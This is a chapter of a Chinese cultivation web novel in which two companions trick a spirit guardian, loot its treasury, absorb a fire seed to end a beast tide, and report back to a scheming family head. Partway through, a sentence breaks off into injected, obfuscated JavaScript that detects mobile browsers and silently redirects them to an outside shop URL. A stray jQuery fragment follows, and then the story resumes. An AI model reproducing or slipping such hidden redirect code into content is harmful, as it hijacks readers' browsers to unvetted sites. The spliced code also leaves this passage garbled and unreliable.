在手心即将触碰到门的那一刻,我又顿住了。
复杂难言的情绪从我脸上流露出来,我低眸,手无力地垂落下来。
似乎过了很久很久,才有一道疑惑不解的声音在我耳畔响起。
“你不是想要活下去吗?为什么不推开门?明明他都选择了放弃,你为何还在纠结?”
——终于上钩了。
演得我腿都麻了,这玩意还真是有耐心。
我控制住自己的微表情,装出被吓了一跳的样子,惊慌失措地四处打量,“谁?谁在说话?”
“不用找了,你是看不到我的。”
那个声音似乎是从四面八方响起,的确听不出来处,我也就歇了这个心思,继续低垂着头,把神色都掩在阴影中——看似心死了,其实是演累了,懒得再做表情。
“我……我不知道自己做的是对还是错。”我低笑着,“我不想死,可是这样活着出去,也许我在日后会恨不得自己死在这里。”
“……”它尖锐地发出一声笑,“行了,别装了,那你怎么不选那扇门?像你这样临到头才装后悔的人,我见得多了去了。”
“多了去了”?我挑眉,“哈”地把话题往这上面绕,“那些人最后都怎么了?也和我们一样,都一生一死了吗?”
它像是第一次被套话,完全没觉得不对,自然地就顺着我的话往下说,“也不全是,有的人为了争取生路,在遇到门之前,就自相残杀双双死了。都活着的……倒还真的没有过。”
“那就怪不了我!这里根本就没有一起活下去的路!我只是不想死而已!”
“谁说这里没有这样的方法的!只是你们人类全都被肮脏的欲望牵着走,根本没人会这么做!”话音刚落,它似乎终于察觉到自己说了不该说的话,又沉寂下去。
这时候才发现不对?晚了。
我像是没有发觉它的异常,“哈”“哈”地低声笑,“也罢,说什么都晚了,我们既然都站在各自的门前了,一切早就注定了。”
我的手再次抬起,手掌心贴在温热的门上,作势要推门。
它看我没接着问,逆反心大盛,原本不打算说,现在上赶着要说,“明明只要两个人都放弃,一起走进那扇‘死门’就可以了,是你们人类自己害的自己。”
“真的?”
“真的!我才不像你们人类那样会骗人。”
我迅速把手又放了下来,带着笑容一连后退好几步,“谢谢。”
我的变化过于大了,连那道声音都没能立即反应过来,愣了好一会,才意识到自己上了当,“你!”
“我?我怎么了?我只是临到头了忽然幡然醒悟罢了。”我不知道它在哪,于是对着门露出一个灿烂的笑容,“再次感谢你把正确答案告诉我。对了,那扇门怎么走,你能直接把我移过去吗?”
“呸!无耻的人类,你休想!”
“没事,你先消消气,我不急,你要是不打算让我抄个近道,我自己慢慢绕也行。”
我一身轻松地迈出这片空间,一路瞎走,还时不时找它唠嗑,最后它终于被我烦到了,把我又送回了那个岔路口。
这时右边的门已经洞开,卫泓站在门前,先前的忧愁一扫而空,笑着回头看我,“套出来了?”
“嗯,它说我们两一起进去就行。”
那个声音没料到我两联手给它下套,气得声音都拔高了三度,“你!你们!无耻的人类!”
利用完了,我和卫泓才懒得理它,当即并肩走了进去,一进去,我就看见了满眼的天材地宝,还有数不清的灵器灵石,都胡乱堆在一起,看得人眼都要花了。
一团白光从斜角里横冲出来,拦在我们面前,“你们不许拿!不许!这是给真正无欲无求的好人类的,不能给你们这种骗人的坏人类!”
我伸出手,一把就把这个小家伙给抓住了,白光球在我手里挣扎着,怎么也挣脱不出去。
“是吗,可是看样子,你似乎阻止不了我们啊。”我笑眯眯地逗它玩。
说着,我给卫泓打了个手势,他了然,拿出终于能用的储物玉佩,一件件地往里收。
我们本意是想看看这团白光还有没有什么后手,谁知道刚收了个十件,这小家伙就被气哭了,哭啼啼地骂我们俩是“大坏蛋”“坏人类”,简直毫无攻击力。
我和卫泓对视一眼,总觉得自己似乎在欺负小孩,良心短暂地疼了一秒。
“别哭了。”我把它放开,卫泓上前一步,轻柔地抚摸它。
白脸我唱了,卫泓就得适时地出来演个红脸了。
在卫泓这个前·好人类的安抚下,光球终于平静下来,当然,过程中还被套了许多话。
现在我们总算是知道了,原来外边那群凶兽并不是真正的活物,而是欲望被焚烧后的产物。正因为那是一整个兴盛的国家烧出来的,所以才会显得好似没有穷尽。
想要解决兽潮,只要通过这里的考验,然后带走此地保留的一枚火种加以炼化便可。
卫泓不动声色地把火种的位置和炼化手段等等等等都套了个底朝天,那团光球还什么都没发现,满心觉得这个人类还怪好的,居然这么耐心地哄它,还带着哭腔的声音期期艾艾着表示“好人类才可以拿这些”。
我这个坏人类在旁边笑了笑,直接照着它说出来的地方去把火种翻了出来,没急着炼化,先开始思考怎么分赃。
“阿临,不如分作三份,你我各自拿一份作为交差,剩下那份你自己拿着,留待日后。”
不知何时,卫泓站到我身旁,手里还拎着被掏空了的白光球,那团可怜的白光看上去晕乎乎的,事到如今也没明白自己正面临着什么。
我和卫泓一拍即合,当即给所有东西理了理,平分成三份,当然,最好的那些全都留给我自己了,迅速地完成了分赃的过程。
光球在空荡荡的宝库里晃悠了好几圈,才缓过神来,一声惊叫还没来得及出口,就被我一把攥住,拎着往外走。
——来都来了,反正啥也没剩,不如干脆连这个小玩意一起带走。
说不准还有点用处呢。
卫泓含着笑意跟在我身后,轻声细语地帮我安抚玲珑火——这似乎是他在我找火种时套出来的名字,就是那个白色小光团的称呼。
我按照玲珑火先前说的出去的路线慢悠悠地走,遇到阻拦就喊它解决,非常顺利地走到了通道尽头。
出口处好似也罩着一层摸不着的薄膜,在日光下漾起细微的波动,我站在洞口前,视线向外扫了一圈。若是我没记错的话,这里似乎就是宝地的最中心,也是我走进来的那片黑雾所在的地方。
我并不着急出去,把那枚封在琥珀里的火种拿出来晃了晃,“小玲珑,只有炼化了火种才能把外面的兽潮驱散吗?”
玲珑火一开始不想搭理我,被我上下左右摇了几次就老实了,蔫巴巴地回答道,“嗯……只有这一个方法……”
眼见是没法摆脱我了,玲珑火干脆一口气交代完,说是只要把火种融入体内,立即就能知道怎么把那些散出去的欲望残渣给收回来。外面那一群,也可以算是火种附赠的一点馈赠,日后若是火种主人拿着异火去焚烧他人欲望,还可以再造出来更多的“凶兽”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788371|210262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
说实话,我不太想接触这种来历不明的东西,但是形势所迫,不得不如此——拱手让给他人我肯定是不情愿的,卫泓又是修水属性为主,和异火犯冲。可如果不解决掉兽潮,我们又没法通过禁制出去。
思来想去,我还是选择自己收了这颗火种,涅槃仙经一运转,转瞬之间就成了。果真如玲珑火所说的一样,现在只需要我心念一动,就能轻松把那些残渣都收回来。
搞定后,我又和卫泓对了一遍说辞,把玲珑火收进储物玉佩后,才慢悠悠地走了出去。
卫家的人在发觉兽潮一瞬间全部消失后,就想到了我们,果断下来探查,正好和我俩撞了个正着。
一群人面对我的时候脸要多冷有多冷,等见到落后我一步的卫泓,神色顿时一百八十度大翻转,一个个围上来喊“少主”,足以见得卫泓在卫家到底是个什么地位。
不过,嘿,卫家的人再怎么宝贵,这也迟早会是我的人。
我和被围在人群中的卫泓对望一眼,无声地道了别,然后就去找我那些靠不住的同族们。
他们居然还在原来的地方等我,见我完好无损地回来,甚至兽潮也没了,有人欢喜有人愁。舒致远神情复杂地叹了好几口气,舒云昌还是老样子,一言不发,魂依旧没找回来,其他人不明真相,表现得都挺正常。
出了这么一遭大事,再加上我已经拿到了颇丰的收获,我们没停留,干脆直接出了禁制,将事情原原本本地告诉了此次前来的长老。
——我和卫泓单独相处的那段,特意删改了一些细节,将默契演戏改成了阴差阳错,防止有人看出我俩的关系。
长老似乎并不知晓背后的实情,大惊之下,立即拍板决定先把我们带回去同家主汇报,挑中我和舒致远几位,急匆匆地把我们带回舒家。
由于是长老先向家主汇报,我并没能见到这位的第一反应,但在我叙述时,我虽恭敬地低着头,却敏锐地察觉到他投向我的目光时常流露出一丝极轻淡的杀意。
舒修言听完沉默良久,才温声安抚我们,说他也没料到居然会如此,好在我们福大命大,能够全部安全返回。
他表示,既然如此,那么这次的行动暂时暂停,他会派人再探查,等确认到底是怎么一回事后,再决定要不要继续。
演戏演全套的舒家主还大肆表扬了我,让我稍后把收获上交,会为我换成等价值的贡献点。
“多谢家主。”
我自然是装作什么也不知道,面上高高兴兴地换了贡献点,就回到自家的院子里去了。
一推开门,我那亲娘居然难得的没在晒太阳,笑眯眯地拉着我进了房,说她终于从舒云旸那边发现了一点线索。
“……我和他们家的厨娘混熟了,前两天闲聊的时候打探出来的,舒云旸出事前,有位家主亲信去那边找过他们家。”
我娘借着给我整理衣领的动作,靠近我耳边低声道,“她当时正好去送吃的,听到了一个地名。”
——叠云山。
舒家拥有的第二大灵矿所在地。
“好了,以后可别这么粗心大意了。”我娘帮我理完领子,顺手将我蹙起的眉心给抚了下去,“当心别人见了笑话。”
我顺从地“嗯”了一声,心中千头万绪,难以分辨。
舒修言啊舒修言,你到底都在做些什么?卫家、叠云山……这才短短几天,就窥见如此多的隐秘,那我还未曾得见的,又还有多少潜伏在暗中。
怎么看着,这位现任家主似乎正在自寻死路啊……
难道七窍玲珑心,也敌不过欲壑难填吗?